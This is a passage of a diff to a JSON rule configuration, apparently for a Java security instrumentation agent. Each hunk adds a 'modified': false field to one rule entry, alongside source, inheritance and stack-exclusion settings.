"ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6492,6 +6959,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6510,6 +6978,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6528,6 +6997,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -6546,6 +7016,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6564,6 +7035,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6582,6 +7054,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6600,6 +7073,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6618,6 +7092,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6636,6 +7111,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6654,6 +7130,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6672,6 +7149,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6690,6 +7168,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6708,6 +7187,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6726,6 +7206,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6744,6 +7225,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6762,6 +7244,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6780,6 +7263,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6798,6 +7282,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6816,6 +7301,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6834,6 +7320,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6852,6 +7339,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6870,6 +7358,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6888,6 +7377,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6906,6 +7396,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6924,6 +7415,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6949,6 +7441,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6967,6 +7460,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -6985,6 +7479,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7003,6 +7498,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7028,6 +7524,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7046,6 +7543,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P9", "stack_blacklist": [], "system_type": 1, @@ -7064,6 +7562,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P5", "stack_blacklist": [], "system_type": 1, @@ -7082,6 +7581,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7107,6 +7607,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "com.ibm.ejs.util.am._Alarm.run", @@ -7129,6 +7630,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7147,6 +7649,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "com.ca.siteminder" @@ -7174,6 +7677,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "com.mysql.jdbc", @@ -7225,6 +7729,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "java.security.SecureRandom", @@ -7247,6 +7752,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "java.security.SecureRandom", @@ -7275,6 +7781,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7293,6 +7800,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7311,6 +7819,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7329,6 +7838,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7347,6 +7857,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [ "weblogic.work.IncrementAdvisor.run" @@ -7367,6 +7878,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7385,6 +7897,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [ "com.google.gson.JsonObject", @@ -7406,6 +7919,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [ "getRandomSample", @@ -7432,6 +7946,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7450,6 +7965,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7468,6 +7984,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7486,6 +8003,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7504,6 +8022,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7522,6 +8041,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7540,6 +8060,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "", "stack_blacklist": [], "system_type": 1, @@ -7565,6 +8086,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7590,6 +8112,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7608,6 +8131,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7633,6 +8157,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -7651,6 +8176,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -7669,6 +8195,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -7694,6 +8221,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7712,6 +8240,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7730,6 +8259,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7748,6 +8278,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7766,6 +8297,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7784,6 +8316,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7802,6 +8335,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7820,6 +8354,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7838,6 +8373,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7856,6 +8392,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7874,6 +8411,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -7892,6 +8430,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7910,6 +8449,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7928,6 +8468,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7946,6 +8487,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7964,6 +8506,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -7982,6 +8525,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8000,6 +8544,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8018,6 +8563,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8036,6 +8582,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8054,6 +8601,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8072,6 +8620,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8090,6 +8639,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8108,6 +8658,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8126,6 +8677,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8144,6 +8696,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8162,6 +8715,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8187,6 +8741,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8205,6 +8760,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8223,6 +8779,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8241,6 +8798,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8259,6 +8817,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8284,6 +8843,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8302,6 +8862,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8320,6 +8881,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8338,6 +8900,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8363,6 +8926,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8381,6 +8945,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8399,6 +8964,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8417,6 +8983,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8435,6 +9002,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8453,6 +9021,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8471,6 +9040,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8489,6 +9059,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8507,6 +9078,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8525,6 +9097,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8543,6 +9116,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8561,6 +9135,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8579,6 +9154,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8597,6 +9173,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8615,6 +9192,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8633,6 +9211,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8651,6 +9230,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8669,6 +9249,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8687,6 +9268,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8705,6 +9287,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8723,6 +9306,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8741,6 +9325,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8759,6 +9344,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8777,6 +9363,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8795,6 +9382,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8813,6 +9401,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8831,6 +9420,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8849,6 +9439,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8867,6 +9458,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8885,6 +9477,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8903,6 +9496,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8921,6 +9515,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8939,6 +9534,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8957,6 +9553,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -8975,6 +9572,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -8993,6 +9591,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9011,6 +9610,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9029,6 +9629,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9047,6 +9648,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9065,6 +9667,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9083,6 +9686,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9101,6 +9705,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9119,6 +9724,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9144,6 +9750,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9162,6 +9769,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9180,6 +9788,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9198,6 +9807,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -9216,6 +9826,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -9234,6 +9845,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9252,6 +9864,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9270,6 +9883,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -9288,6 +9902,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9306,6 +9921,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9324,6 +9940,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9342,6 +9959,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9360,6 +9978,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9378,6 +9997,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9403,6 +10023,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9423,6 +10044,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9443,6 +10065,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9463,6 +10086,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9483,6 +10107,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9503,6 +10128,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9523,6 +10149,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9543,6 +10170,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9563,6 +10191,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9583,6 +10212,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9603,6 +10233,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9630,6 +10261,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9650,6 +10282,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9668,6 +10301,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9688,6 +10322,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9708,6 +10343,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9728,6 +10364,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9748,6 +10385,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9768,6 +10406,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9788,6 +10427,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9809,6 +10449,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9830,6 +10471,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9848,6 +10490,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9868,6 +10511,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9888,6 +10532,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -9908,6 +10553,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9928,6 +10574,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9948,6 +10595,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9966,6 +10614,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -9984,6 +10633,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10004,6 +10654,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10024,6 +10675,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10044,6 +10696,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10064,6 +10717,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10084,6 +10738,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10105,6 +10760,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10126,6 +10782,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10144,6 +10801,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10164,6 +10822,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10184,6 +10843,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10204,6 +10864,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10224,6 +10885,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10244,6 +10906,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -10269,6 +10932,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -10294,6 +10958,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10312,6 +10977,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -10330,6 +10996,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, 